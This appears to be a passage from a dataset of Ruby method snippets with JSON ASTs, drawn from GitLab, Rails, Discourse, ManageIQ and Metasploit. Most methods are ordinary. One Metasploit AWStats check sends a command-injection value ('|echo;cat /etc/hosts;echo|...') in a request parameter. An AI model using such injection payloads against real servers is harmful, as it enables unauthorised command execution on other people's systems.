{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/populate_topics_slug_column.rb","start_line":10,"raw_source":"def perform\n each_sub_batch do |sub_batch|\n sub_batch.each { |topic| topic.update! slug: clean_name(topic) }\n end\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"send\",\"children\":[null,\"clean_name\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}]}]}]}]}]}","id":"ce428c20-e833-4f68-bf67-5852d0ce3335"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/netsparker.rb","start_line":190,"raw_source":"def netsparker_pname_map(vuln)\n case vuln['vparam_name']\n when \"URI-BASED\", \"Query Based\"\n \"PATH\"\n else\n vuln['vparam_name']\n end\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"netsparker_pname_map\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vuln\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"str\",\"children\":[\"vparam_name\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"URI-BASED\"]},{\"type\":\"str\",\"children\":[\"Query Based\"]},{\"type\":\"str\",\"children\":[\"PATH\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"str\",\"children\":[\"vparam_name\"]}]}]}]}","id":"45a454e9-5f4a-42f8-a662-a763f5945cd1"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_event_definition.rb","start_line":158,"raw_source":"def self.seed_default_definitions(event_defs)\n stats = {:a => 0, :u => 0}\n\n fname = File.join(FIXTURE_DIR, \"miq_event_definitions.yml\")\n defns = YAML.load_file(fname)\n defns.each do |event_type, events|\n events[:events].each do |e|\n event = (event_defs[e[:name]] || []).detect { |ed| ed.event_type == event_type.to_s }\n if event.nil?\n _log.info(\"Creating [#{e[:name]}]\")\n event = create(e.merge(:event_type => event_type.to_s, :default => true, :enabled => true))\n (event_defs[e[:name]] ||= []) << event\n stats[:a] += 1\n else\n event.attributes = e\n if event.changed?\n _log.info(\"Updating [#{e[:name]}]\")\n event.save\n stats[:u] += 1\n end\n end\n end\n end\n end","complexity_score":53.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"seed_default_definitions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_defs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stats\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"u\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"FIXTURE_DIR\"]},{\"type\":\"str\",\"children\":[\"miq_event_definitions.yml\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"defns\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_type\"]},{\"type\":\"arg\",\"children\":[\"events\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"events\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_defs\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ed\"]},\"event_type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_type\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_type\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_defs\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"a\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"changed?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Updating [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"save\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"u\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},null]}]}]}]}]}]}]}]}","id":"f5bb7fae-6b3c-4f5b-b940-f8f3df7cd09e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/chromecast_wifi.rb","start_line":120,"raw_source":"def auth(wap)\n case wap['wpa_auth']\n when 0\n 'MGT'\n when 5, 7\n 'PSK'\n else\n ''\n end\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"auth\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wap\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wap\"]},\"[]\",{\"type\":\"str\",\"children\":[\"wpa_auth\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"MGT\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"str\",\"children\":[\"PSK\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"4df8d3d1-f170-490c-9957-a07eea58a652"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb","start_line":82,"raw_source":"def check\n # next lines included for automatic inclusion into vulnerable plugins list\n # check_plugin_version_from_readme('really-simple-ssl', '9.1.2')\n # check_plugin_version_from_readme('really-simple-ssl-pro', '9.1.2')\n # check_plugin_version_from_readme('really-simple-ssl-pro-multisite', '9.1.2')\n return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?\n\n print_status(\"WordPress Version: #{wordpress_version}\") if wordpress_version\n\n %w[really-simple-ssl really-simple-ssl-pro really-simple-ssl-pro-multisite].each do |slug|\n plugin_check = check_plugin_version_from_readme(slug, '9.1.2', '9.0.0')\n case plugin_check.code\n when 'appears'\n return CheckCode::Appears(\"Plugin #{slug} appears to be vulnerable.\")\n when 'safe'\n return CheckCode::Safe(\"Plugin #{slug} is patched or not vulnerable.\")\n end\n end\n\n CheckCode::Unknown('No vulnerable plugins were detected.')\n end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wordpress_and_online?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"The WordPress site does not appear to be online.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wordpress_version\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WordPress Version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wordpress_version\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"really-simple-ssl\"]},{\"type\":\"str\",\"children\":[\"really-simple-ssl-pro\"]},{\"type\":\"str\",\"children\":[\"really-simple-ssl-pro-multisite\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slug\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plugin_check\",{\"type\":\"send\",\"children\":[null,\"check_plugin_version_from_readme\",{\"type\":\"lvar\",\"children\":[\"slug\"]},{\"type\":\"str\",\"children\":[\"9.1.2\"]},{\"type\":\"str\",\"children\":[\"9.0.0\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_check\"]},\"code\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"appears\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Plugin \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]}]},{\"type\":\"str\",\"children\":[\" appears to be vulnerable.\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"safe\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Plugin \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]}]},{\"type\":\"str\",\"children\":[\" is patched or not vulnerable.\"]}]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"No vulnerable plugins were detected.\"]}]}]}]}","id":"f33eee34-d30d-469e-a79c-d81d9980d18f"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/app/serializers/post_voting_comment_serializer.rb","start_line":41,"raw_source":"def available_flags\n return [] if !scope.can_flag_post_voting_comment?(object)\n return [] if reviewable_id.present? && user_flag_status == ReviewableScore.statuses[:pending]\n\n PostActionType.flag_types.map { |sym, id| sym }\n end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"available_flags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_flag_post_voting_comment?\",{\"type\":\"send\",\"children\":[null,\"object\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reviewable_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_flag_status\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReviewableScore\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pending\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostActionType\"]},\"flag_types\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sym\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"lvar\",\"children\":[\"sym\"]}]}]}]}","id":"3494a266-01f8-4fd3-950f-c13b355e178e"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/reviewable_serializer.rb","start_line":37,"raw_source":"def bundled_actions\n args = {}\n args[:claimed_by] = claimed_by if @options[:claimed_topics]\n object.actions_for(scope, args).bundles\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bundled_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"claimed_topics\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"claimed_by\"]},{\"type\":\"send\",\"children\":[null,\"claimed_by\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"actions_for\",{\"type\":\"send\",\"children\":[null,\"scope\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},\"bundles\"]}]}]}","id":"2a2ad83f-5a17-42da-b73e-d26560ad1a04"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/awstats_migrate_exec.rb","start_line":63,"raw_source":"def check\n res = send_request_cgi({\n 'uri' => normalize_uri(datastore['URI']),\n 'vars_get' =>\n {\n 'migrate' => \"|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt\"\n }\n }, 25)\n\n if (res and res.body.match(/localhost/))\n return Exploit::CheckCode::Vulnerable\n end\n\n return Exploit::CheckCode::Safe\n end","complexity_score":15.05,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"migrate\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"|echo;cat /etc/hosts;echo|awstats\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AWSITE\"]}]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]}]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"localhost\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"e3e2aebc-94c6-4328-b60c-301c611c64fd"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msfdb_helpers/standalone.rb","start_line":5,"raw_source":"def initialize(options:, db_conf:, connection_string:)\n @options = options\n @db_conf = db_conf\n begin\n @conn = PG.connect(connection_string)\n rescue PG::ConnectionBad\n print_error('Could not connect to standalone PostgreSQL instance. Ensure that the connection string is valid, and that the database is accessible')\n raise\n end\n\n conninfo = @conn.conninfo_hash\n @options[:db_port] = conninfo[:port]\n @options[:db_host] = conninfo[:host]\n super(options)\n end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"options\"]},{\"type\":\"kwarg\",\"children\":[\"db_conf\"]},{\"type\":\"kwarg\",\"children\":[\"connection_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@db_conf\",{\"type\":\"lvar\",\"children\":[\"db_conf\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"connect\",{\"type\":\"lvar\",\"children\":[\"connection_string\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"ConnectionBad\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not connect to standalone PostgreSQL instance. Ensure that the connection string is valid, and that the database is accessible\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"conninfo\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"conninfo_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"db_port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conninfo\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"db_host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conninfo\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"1d04ee1f-fd4d-4cab-96e7-8366af010735"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240906133050_remove_temporary_index_for_snippets.rb","start_line":8,"raw_source":"def up\n return unless Gitlab.com?\n\n remove_concurrent_index_by_name :snippets, 'tmp_index_snippets_for_organization_id'\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"snippets\"]},{\"type\":\"str\",\"children\":[\"tmp_index_snippets_for_organization_id\"]}]}]}]}","id":"d0b7c629-0375-46c2-8c3d-33e919b1e949"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/components/ai_suggestion_dropdown.rb","start_line":28,"raw_source":"def select_suggestion_by_name(name)\n find(\"#{MENU_SELECTOR} button[data-name=\\\"#{name}\\\"]\").click\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"select_suggestion_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MENU_SELECTOR\"]}]},{\"type\":\"str\",\"children\":[\" button[data-name=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\"]}]}]},\"click\"]}]}","id":"ebd10efd-8402-4e31-a0a5-fb8d93b57176"} {"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/base_test.rb","start_line":329,"raw_source":"def welcome\n attachments[\"invoice.pdf\"] = \"This is test File content\"\n mail body: \"yay\", from: \"welcome@example.com\", to: \"to@example.com\"\n\n unless attachments.map(&:filename) == [\"invoice.pdf\"]\n flunk(\"Should allow access to attachments\")\n end\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"welcome\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachments\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"invoice.pdf\"]},{\"type\":\"str\",\"children\":[\"This is test File content\"]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"yay\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"str\",\"children\":[\"welcome@example.com\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"to@example.com\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachments\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]}]}]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"invoice.pdf\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"flunk\",{\"type\":\"str\",\"children\":[\"Should allow access to attachments\"]}]}]}]}]}","id":"baca11a4-d527-4d9e-9710-108abf603f74"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/gemini.rb","start_line":148,"raw_source":"def tool_msg(msg)\n if native_tool_support?\n part = {\n functionResponse: {\n name: msg[:name] || msg[:id],\n response: {\n content: msg[:content],\n },\n },\n }\n\n if beta_api?\n { role: \"function\", parts: [part] }\n else\n { role: \"function\", parts: part }\n end\n else\n super\n end\n end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tool_msg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"native_tool_support?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"part\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"functionResponse\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"beta_api?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"function\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parts\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"function\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parts\"]},{\"type\":\"lvar\",\"children\":[\"part\"]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"9b9c796b-8434-4f38-abb3-69454fd6d563"} {"repo_name":"rails","file_path":"./repos/rails/activejob/lib/active_job/continuation.rb","start_line":326,"raw_source":"def instrument(...)\n job.instrument(...)\n 